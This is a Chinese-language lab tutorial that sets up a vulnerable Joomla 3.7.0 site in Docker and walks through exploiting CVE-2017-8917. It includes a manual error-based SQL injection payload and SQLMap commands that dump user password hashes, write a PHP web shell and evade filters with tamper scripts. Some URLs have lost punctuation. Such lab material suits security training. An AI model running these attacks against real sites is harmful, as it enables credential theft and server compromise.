Kali Linux下利用Docker Compose快速搭建Joomla 3.7.0 SQL注入漏洞靶场

📅 发布时间:2026/7/5 23:43:10 👁️ 浏览次数:
Kali Linux下利用Docker Compose快速搭建Joomla 3.7.0 SQL注入漏洞靶场
1. 项目概述与核心价值最近在整理内部安全培训材料发现很多新同事对Web应用漏洞的实战理解还停留在理论层面尤其是对像Joomla这类老牌CMS的历史漏洞缺乏一个干净、可控的环境去亲手“摸一摸”。手动搭建一个带漏洞的旧版本环境光是解决PHP版本、数据库兼容性、扩展依赖这些琐事就能耗掉大半天更别提环境隔离和事后清理了。这让我想起了Docker和Docker Compose这个黄金组合——它们简直就是为这种“一次性”或“可复现”的安全实验场景而生的。这个项目的核心就是利用Docker Compose在Kali Linux上快速部署一个包含已知漏洞的Joomla 3.7.0环境。你不需要关心底层系统库的冲突也不用手动配置Apache和MySQL一个命令就能拉起一个完整的、孤立的漏洞靶场。更重要的是我会附上从漏洞发现到利用的完整链条特别是使用SQLMap进行自动化漏洞利用的详细流程。这不仅仅是搭建一个环境更是还原一个真实的渗透测试过程信息收集、漏洞探测、工具利用、数据获取。无论你是想巩固SQL注入原理还是准备OSCP、OSWE这类实操性强的认证考试这个靶场都能提供一个绝佳的练手平台。对于安全研究人员它也是一个方便的PoC验证环境。2. 环境准备与工具选型解析2.1 为什么选择Kali Linux Docker Compose这个组合首先得说说为什么是Kali Linux。Kali本身就是一个渗透测试的瑞士军刀预装了海量的安全工具包括我们后面要用到的SQLMap、Nmap等。这意味着我们不需要再费劲去安装和配置这些工具开箱即用。但Kali的另一个特点是它是一个滚动更新的系统频繁的更新有时会导致依赖库冲突。如果我们直接在宿主机上安装旧版本的PHP、MySQL来跑Joomla 3.7.0很容易把系统环境搞乱。这就是引入Docker的核心原因隔离。Docker容器将应用及其所有依赖打包在一个独立的运行环境中。我们在容器里跑一个老旧的PHP 5.6和MySQL 5.7完全不会影响宿主机Kali上最新的PHP 8或MariaDB。搭建和摧毁环境就像创建和删除文件夹一样简单。而Docker Compose则更进一步它通过一个YAML文件定义和管理多个有依赖关系的容器。对于Joomla靶场我们至少需要Web服务器包含PHP和Joomla代码和数据库服务器两个容器。Docker Compose可以一键定义它们之间的网络连接、数据卷挂载和启动顺序。工具选型清单与理由Docker Docker Compose环境隔离与编排的基石。选择官方版本稳定性最好。Joomla 3.7.0该版本在2017年爆出过一个严重的SQL注入漏洞CVE-2017-8917影响广泛是学习SQL注入的经典案例。SQLMap自动化SQL注入检测与利用的标杆工具。我们将用它来验证并利用靶场漏洞。文本编辑器如VSCode、Nano用于编写和修改docker-compose.yml配置文件。注意确保你的Kali Linux系统已经更新。虽然Kali预装了很多工具但Docker通常需要手动安装。2.2 Kali Linux下Docker环境快速部署如果你的Kali还没有安装Docker和Docker Compose跟着下面步骤走五分钟内搞定。这里我们采用官方推荐的方式避免使用可能过时的系统仓库版本。1. 安装Docker Engine打开终端依次执行以下命令# 1. 更新软件包索引 sudo apt update # 2. 安装必要的依赖包允许apt通过HTTPS使用仓库 sudo apt install -y ca-certificates curl gnupg # 3. 添加Docker官方GPG密钥 sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod ar /etc/apt/keyrings/docker.gpg # 4. 设置Docker稳定版仓库 echo \ deb [arch$(dpkg --print-architecture) signed-by/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian \ $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null # 5. 再次更新并安装Docker引擎 sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin安装完成后将当前用户加入docker组这样以后就不用每次都加sudo了sudo usermod -aG docker $USER重要执行此命令后你需要完全退出当前终端会话并重新登录或者重启系统用户组变更才会生效。之后运行docker ps命令测试应该能正常列出容器目前为空而不需要sudo。2. 安装Docker Compose (独立版本)虽然Docker Desktop包含了Compose但在Kali这种服务器/CLI为主的环境我们更常使用独立的docker-compose命令行工具。Docker Compose Plugin (docker compose) 已经包含在上一步的docker-compose-plugin包中。你可以通过docker compose version来验证。如果你想用传统的docker-compose带短横线命令也可以安装sudo apt install -y docker-compose我个人习惯使用Plugin版本即docker compose命令没有短横线因为它与引擎集成度更高。本文后续都将使用docker compose这个命令格式。3. 验证安装运行以下命令确认所有组件安装正确docker --version docker compose version如果都能正确输出版本号说明环境准备就绪。3. 靶场架构设计与Docker Compose编排3.1 靶场容器架构图逻辑描述我们的靶场由两个核心容器组成数据库容器运行MySQL 5.7。为什么是5.7因为Joomla 3.x时代对MySQL 8.x的兼容性不好5.7是最稳定匹配的版本。这个容器负责存储Joomla的所有数据包括用户、文章、配置以及我们后续利用漏洞要窃取的数据。Web应用容器运行Apache PHP 5.6并预装Joomla 3.7.0的源代码。PHP 5.6同样是时代的选择确保Joomla 3.7.0的所有功能包括有漏洞的代码能够正确执行。两个容器通过Docker Compose创建的专属内部网络连接Web容器可以通过服务名如db直接访问数据库容器。数据库的数据和Joomla的配置文件会被持久化到宿主机你的Kali的目录中这样即使容器销毁下次重建时数据依然存在。3.2 编写Docker Compose配置文件接下来是核心步骤创建docker-compose.yml文件。在你喜欢的工作目录例如~/joomla-vuln-lab下创建这个文件。version: 3.8 services: db: image: mysql:5.7 container_name: joomla-mysql restart: unless-stopped environment: MYSQL_ROOT_PASSWORD: SuperSecretRootPass123! # 强烈建议修改 MYSQL_DATABASE: joomla_db MYSQL_USER: joomla_user MYSQL_PASSWORD: JoomlaUserPass456! # 强烈建议修改 volumes: - ./mysql_data:/var/lib/mysql # 持久化数据库文件 networks: - joomla-network healthcheck: # 健康检查确保数据库就绪后Web再启动 test: [CMD, mysqladmin, ping, -h, localhost, -u, root, -p$$MYSQL_ROOT_PASSWORD] interval: 10s timeout: 5s retries: 5 web: image: php:5.6-apache container_name: joomla-web restart: unless-stopped depends_on: db: condition: service_healthy ports: - 8080:80 # 将容器80端口映射到宿主机的8080端口 volumes: - ./joomla:/var/www/html # 挂载Joomla源代码 - ./config/php.ini:/usr/local/etc/php/php.ini # 自定义PHP配置可选 environment: JOOMLA_DB_HOST: db JOOMLA_DB_USER: joomla_user JOOMLA_DB_PASSWORD: JoomlaUserPass456! JOOMLA_DB_NAME: joomla_db networks: - joomla-network # 启动Apache后需要额外步骤安装Joomla这里用一段内联脚本解决 command: bash -c apt-get update apt-get install -y libpng-dev libjpeg-dev libxml2-dev unzip wget docker-php-ext-configure gd --with-png-dir/usr --with-jpeg-dir/usr docker-php-ext-install gd mysqli pdo pdo_mysql xml a2enmod rewrite cd /var/www/html wget -O joomla.zip https://downloads.joomla.org/cms/joomla3/3-7-0/Joomla_3-7-0-Stable-Full_Package.zip unzip joomla.zip chown -R www-data:www-data /var/www/html chmod -R 755 /var/www/html rm joomla.zip apache2-foreground networks: joomla-network: driver: bridge volumes: mysql_data: # 声明一个命名卷但上面我们用了本地目录挂载这里可省略或保留配置文件关键点解析版本与网络version: 3.8是一个较新且功能稳定的Compose版本格式。我们创建了一个名为joomla-network的桥接网络让两个容器在隔离的网络中通信。数据库服务 (db)environment设置了MySQL的root密码、创建的数据库名、用户和密码。实战中务必修改这些默认密码volumes将宿主机的./mysql_data目录挂载到容器的/var/lib/mysql。这样数据库文件就保存在了本地容器删除后数据不丢失。healthcheck这是一个非常实用的配置。它让Compose能判断数据库是否真正“准备好”而不仅仅是启动。Web服务的depends_on配合condition: service_healthy确保了数据库可连接后才启动Joomla安装进程避免了启动顺序导致的连接失败。Web服务 (web)ports8080:80将容器内的Apache端口80映射到宿主机的8080。这样你可以在Kali浏览器里访问http://localhost:8080来打开Joomla。避免使用80端口防止和宿主机其他服务冲突。volumes./joomla挂载是为了将Joomla源代码持久化。./config/php.ini挂载允许你自定义PHP设置比如调整文件上传大小、错误报告级别这对调试很有用。environment这些环境变量会在容器内被读取理论上Joomla安装程序可以用它们自动配置。但Joomla 3.7.0的安装程序不一定直接支持从环境变量读取所以我们主要还是通过安装界面手动配置这里设置是为了保持一致性。command这是最核心的部分。我们使用了php:5.6-apache这个官方镜像但它只包含最基础的PHP和Apache。Joomla运行需要GD库处理图片、MySQLi扩展等。因此我们用一段较长的Shell命令在容器启动时 a. 更新包列表并安装编译依赖。 b. 编译并安装PHP所需的扩展gd, mysqli, pdo, pdo_mysql, xml。 c. 启用Apache的rewrite模块Joomla的SEO友好URL需要。 d. 下载Joomla 3.7.0的稳定版ZIP包解压到Web根目录。 e. 设置正确的文件权限Apache用户www-data。 f. 最后启动Apache。实操心得一开始我尝试先启动基础容器再进入容器内部一步步安装配置太繁琐。后来发现把安装步骤全部写在command里是最优雅的“一键化”方案。虽然第一次启动会因为执行这些安装命令而稍慢约2-3分钟但之后启动就是秒开。另外确保你的Kali有足够的磁盘空间和良好的网络连接以下载镜像和Joomla包。4. 一键部署与Joomla初始化4.1 启动漏洞靶场环境保存好docker-compose.yml文件后打开终端进入该文件所在目录执行以下命令docker compose up -d-d参数代表“detached”让容器在后台运行。你会看到Docker开始拉取mysql:5.7和php:5.6-apache镜像然后创建网络、卷最后启动两个容器并执行我们定义的command。观察启动日志如果你想看详细的启动过程特别是安装步骤可以先不用-d参数直接运行docker compose up这样所有日志都会实时打印在终端。看到数据库健康检查通过以及Apache启动成功的消息后再用CtrlC停止然后重新docker compose up -d转到后台运行。启动完成后使用以下命令检查状态docker compose ps你应该看到db和web两个服务的状态都是Up (healthy)或Up。4.2 Joomla 3.7.0 安装向导配置环境运行起来后打开Kali Linux上的浏览器如Firefox访问http://localhost:8080。你应该会看到Joomla 3.7.0的安装界面。安装步骤详解配置语言选择“English (United States)”或你熟悉的语言。主配置站点名称可以随意填写例如Joomla Vuln Lab。描述可留空或简单描述。数据库配置这是关键一步需要连接我们Docker Compose里创建的数据库容器。数据库类型选择MySQLi。主机名填写db。这就是Docker Compose网络中的服务名容器内可以通过这个主机名访问数据库容器。用户名填写joomla_user对应docker-compose.yml里的MYSQL_USER。密码填写JoomlaUserPass456!对应MYSQL_PASSWORD。数据库名称填写joomla_db对应MYSQL_DATABASE。表前缀默认是jos_可以保持默认。SQLMap利用时可能需要知道这个前缀。FTP配置直接点击“下一步”跳过。在容器化环境中我们不需要也不应该配置FTP。最终检查与安装系统会检查环境是否符合要求PHP版本、扩展等。因为我们已经在command里安装好了所有依赖这里应该全部是绿色对勾。点击“安装”。安装后操作安装成功后Joomla会强烈建议你删除installation目录。在真实渗透测试中这是一个重要的信息收集点但作为靶场我们可以先删除以模拟一个“安装完成”的站点。在终端中进入项目目录执行docker compose exec web rm -rf /var/www/html/installation这个命令在运行的web容器内执行删除操作。回到浏览器点击“站点”按钮即可进入你的Joomla 3.7.0漏洞靶场首页。至此一个包含漏洞的Joomla 3.7.0环境就完全搭建好了。你可以登录后台访问http://localhost:8080/administrator使用安装时设置的超级管理员账号创建一些文章和测试用户为后续的漏洞利用准备一些“数据”。5. 漏洞原理浅析与信息收集5.1 CVE-2017-8917漏洞背景Joomla 3.7.0引入了一个新的组件com_fields用于增强文章的自定义字段功能。然而在controllers/field.php文件中对list[fullordering]这个HTTP请求参数的处理存在缺陷。代码直接将用户输入拼接到了数据库查询语句的ORDER BY子句中而没有进行充分的过滤和验证。简单来说攻击者可以通过在请求中构造特定的list[fullordering]参数将恶意的SQL代码“注入”到原本的查询命令里。由于ORDER BY子句后的注入点比较特殊传统的UNION SELECT注入可能不直接适用但可以通过基于布尔Boolean或时间Time的盲注技术来逐位提取数据。这个漏洞影响范围是Joomla 3.7.0版本。5.2 靶场信息收集实战在真正动用SQLMap之前一个优秀的渗透测试员会先进行手动信息收集这有助于理解目标结构并验证漏洞是否存在。发现入口点我们需要找到使用了com_fields组件且可能暴露list[fullordering]参数的页面。一个常见的地方是涉及文章列表或分类列表的视图。手动探测使用浏览器插件如HackBar或curl命令发送测试请求。访问靶场首页查看文章列表页的URL。假设我们发现一个分类列表页的URL类似于http://localhost:8080/index.php?optioncom_contentviewcategoryid1我们可以尝试添加list[fullordering]参数http://localhost:8080/index.php?optioncom_contentviewcategoryid1list[fullordering](SELECT 1)如果页面正常返回或者与不加参数时返回不同例如排序变了或者出现了错误都暗示这个参数是有效的并且可能被带入查询。验证漏洞一个更直接的验证是触发一个SQL错误。尝试注入一个错误的SQL片段http://localhost:8080/index.php?optioncom_contentviewcategoryid1list[fullordering]extractvalue(1,concat(0x7e,version(),0x7e))如果页面返回了MySQL的版本信息错误例如包含XPATH syntax error: ~5.7.xx~那么就可以100%确认存在SQL注入漏洞。在我们的靶场环境中你应该能看到类似的错误信息。注意事项在实际对非授权目标测试时这种直接触发错误的方式会留下非常明显的日志。在实战中更倾向于使用不产生错误信息的盲注技术进行隐蔽探测。但靶场环境里我们可以放开手脚。6. SQLMap自动化利用全流程解析手动验证后我们就可以祭出自动化神器SQLMap了。以下流程模拟了一次完整的、从探测到数据获取的利用过程。6.1 初始探测与漏洞确认打开Kali Linux终端使用SQLMap对发现的URL进行初步扫描。sqlmap -u http://localhost:8080/index.php?optioncom_contentviewcategoryid1list[fullordering]1 --batch --risk3 --level5-u: 指定目标URL。--batch: 以非交互模式运行所有默认选择都自动确认适合自动化。--risk3: 风险等级最高3会尝试更多危险的负载如OR布尔注入。--level5: 测试等级最高5会测试更多的参数和注入点。SQLMap会首先识别可注入的参数。它应该能自动识别出list[fullordering]是一个注入点并询问你是否要测试其他参数。因为我们已经知道漏洞点可以更精确地指定参数sqlmap -u http://localhost:8080/index.php?optioncom_contentviewcategoryid1 -p list[fullordering] --batch-p: 指定要测试的参数名。运行后SQLMap会尝试各种注入技术布尔盲注、时间盲注、报错注入等。如果成功你会看到类似以下的输出[INFO] testing MySQL 5.0.12 AND time-based blind (query SLEEP) [INFO] GET parameter list[fullordering] appears to be MySQL 5.0.12 AND time-based blind (query SLEEP) injectable [INFO] testing Generic UNION query (NULL) - 1 to 20 columns ...这确认了漏洞存在并且SQLMap已经识别出了数据库类型MySQL和可用的注入技术如时间盲注。6.2 获取数据库信息确认注入点后第一步通常是获取数据库的元信息。sqlmap -u http://localhost:8080/index.php?optioncom_contentviewcategoryid1 -p list[fullordering] --batch --current-db--current-db: 获取当前数据库名称。输出应该会显示joomla_db。接着列出所有数据库sqlmap -u http://localhost:8080/index.php?optioncom_contentviewcategoryid1 -p list[fullordering] --batch --dbs除了joomla_db你还会看到information_schema、mysql等系统库。6.3 枚举表与列结构现在我们针对joomla_db数据库进行操作。# 1. 获取 joomla_db 中的所有表 sqlmap -u http://localhost:8080/index.php?optioncom_contentviewcategoryid1 -p list[fullordering] --batch -D joomla_db --tables # 2. 假设我们对用户表感兴趣Joomla默认的用户表是 jos_users前缀可能不同安装时设定 # 先获取表 jos_users 的所有列名 sqlmap -u http://localhost:8080/index.php?optioncom_contentviewcategoryid1 -p list[fullordering] --batch -D joomla_db -T jos_users --columns执行--tables命令后你会看到一长串表名其中就包含jos_users、jos_assets、jos_content等核心表。--columns命令会列出jos_users表的结构包括id,name,username,email,password等关键字段。6.4 拖取核心数据用户凭证最敏感的数据莫过于管理员的用户名和密码哈希。# 1. 拖取 jos_users 表中的 username, email, password 字段数据 sqlmap -u http://localhost:8080/index.php?optioncom_contentviewcategoryid1 -p list[fullordering] --batch -D joomla_db -T jos_users -C username,email,password --dump # 2. 如果你只想获取特定用户如admin的数据可以加 --where 参数 sqlmap -u http://localhost:8080/index.php?optioncom_contentviewcategoryid1 -p list[fullordering] --batch -D joomla_db -T jos_users -C username,password --whereusernameadmin --dump--dump命令会将查询到的数据导出并保存到本地SQLMap的输出目录中。你会看到类似这样的输出Database: joomla_db Table: jos_users [2 entries] -------------------------------------------------------- | id | username | password | -------------------------------------------------------- | 42 | admin | $2y$10$abcdefghijklmnopqrstuvwxyz123456 | | 77 | testuser | $2y$10$zyxwvutsrqponmlkjihgfedcba654321 | --------------------------------------------------------密码字段是经过哈希处理的通常是bcrypt。要破解这些哈希需要用到密码破解工具如John the Ripper或Hashcat这超出了本文范围但它是渗透测试中获取系统权限的关键一步。6.5 进阶利用获取Shell与权限提升在真实的渗透测试中获取数据库访问权限后目标往往是获取Web Shell进而控制服务器。SQLMap本身也提供了一些相关功能但在Joomla这个特定漏洞和环境下我们需要更迂回。1. 通过SQL注入写文件获取Web Shell这需要满足严苛的条件数据库用户有FILE权限知道Web目录的绝对路径并且目标系统允许写入。在我们的Docker环境里数据库用户joomla_user通常没有FILE权限所以这条路很可能走不通。但作为技术演示命令如下sqlmap -u http://localhost:8080/index.php?optioncom_contentviewcategoryid1 -p list[fullordering] --batch --file-write/path/to/shell.php --file-dest/var/www/html/shell.php如果成功会在Web根目录写入一个PHP Shell。2. 利用Joomla框架特性更实际的方法是结合已获取的管理员密码哈希如果破解成功或者利用Joomla的其他漏洞如模板文件上传、扩展漏洞来获取Shell。例如如果你以管理员身份登录后台可能可以安装一个恶意的扩展或者修改模板文件插入PHP代码。实操心得使用SQLMap时--batch模式虽然方便但有时会错过一些交互选项。对于关键操作如--dump如果不确定可以先不加--batch看看SQLMap提供的选项。另外--threads参数可以调整并发线程数默认1适当提高如--threads5可以加快枚举速度但可能触发目标的防护机制。在靶场可以放心使用。7. 常见问题、排查与靶场管理7.1 部署与运行问题排查问题执行docker compose up -d时报错提示端口被占用。排查运行sudo netstat -tulpn | grep :8080检查8080端口被哪个进程占用。解决修改docker-compose.yml中web服务的端口映射例如改为8081:80或者停止占用端口的进程。问题访问http://localhost:8080显示“连接被拒绝”或空白页。排查运行docker compose ps确认两个容器状态是否为Up。运行docker compose logs web查看Web容器的日志看Apache是否启动成功PHP扩展安装是否有报错。运行docker compose exec web curl localhost在容器内部测试Apache服务。解决根据日志修复。常见原因是command中的安装命令因网络问题失败。可以尝试进入容器手动执行docker compose exec web bash然后逐条运行command中的命令排查。问题Joomla安装时无法连接数据库。排查确认docker-compose.yml中数据库的环境变量拼写正确。运行docker compose exec db mysql -u joomla_user -p输入密码尝试手动连接数据库验证凭据。检查Web容器的JOOMLA_DB_HOST环境变量是否设置为db。解决确保数据库容器健康docker compose ps显示healthy并核对安装界面填写的数据库连接信息与docker-compose.yml完全一致。7.2 SQLMap利用过程中的问题问题SQLMap检测不到注入点。排查确认URL和参数正确手动访问URL确认页面正常。尝试增加--level和--risk值。尝试使用--technique指定注入技术如--techniqueB布尔盲注、--techniqueT时间盲注。对于此漏洞时间盲注--techniqueT可能更有效。查看SQLMap输出是否有被WAF或IPS拦截的迹象。解决可以尝试使用--tamper参数对Payload进行混淆绕过简单的过滤。例如--tamperspace2comment。问题--dump数据时速度非常慢。原因基于时间的盲注Time-based Blind本身就需要逐位猜测速度必然慢。如果表数据量大会非常耗时。优化使用--threads提高并发靶场可用实战慎用。精确指定要拖取的列-C不要拖取整个表。使用--where条件限制数据范围。如果条件允许尝试使用报错注入--techniqueE或联合查询注入--techniqueU速度会快很多。7.3 靶场生命周期管理暂停环境docker compose stop。这会停止容器但保留所有数据和配置。启动环境docker compose start。查看日志docker compose logs -f web查看Web容器日志-f表示跟随输出。进入容器调试docker compose exec web bash # 进入Web容器 docker compose exec db bash # 进入数据库容器彻底销毁环境危险docker compose down -v。这个命令会停止并删除容器、网络以及-v标志指定的挂载卷即本地的mysql_data目录和joomla目录。所有数据将永久丢失仅在需要完全重置靶场时使用。仅删除容器保留数据docker compose down。下次up时数据卷还在会恢复到上次的状态。这个靶场项目最大的价值在于提供了一个完全隔离、可反复摧毁和重建的漏洞研究环境。你可以放心地在上面尝试各种SQL注入技巧而不用担心影响主机系统或其他项目。通过结合Docker Compose的便捷性和SQLMap的强大功能你能清晰地看到从漏洞存在性确认到数据泄露的完整攻击链这对于理解Web应用安全风险至关重要。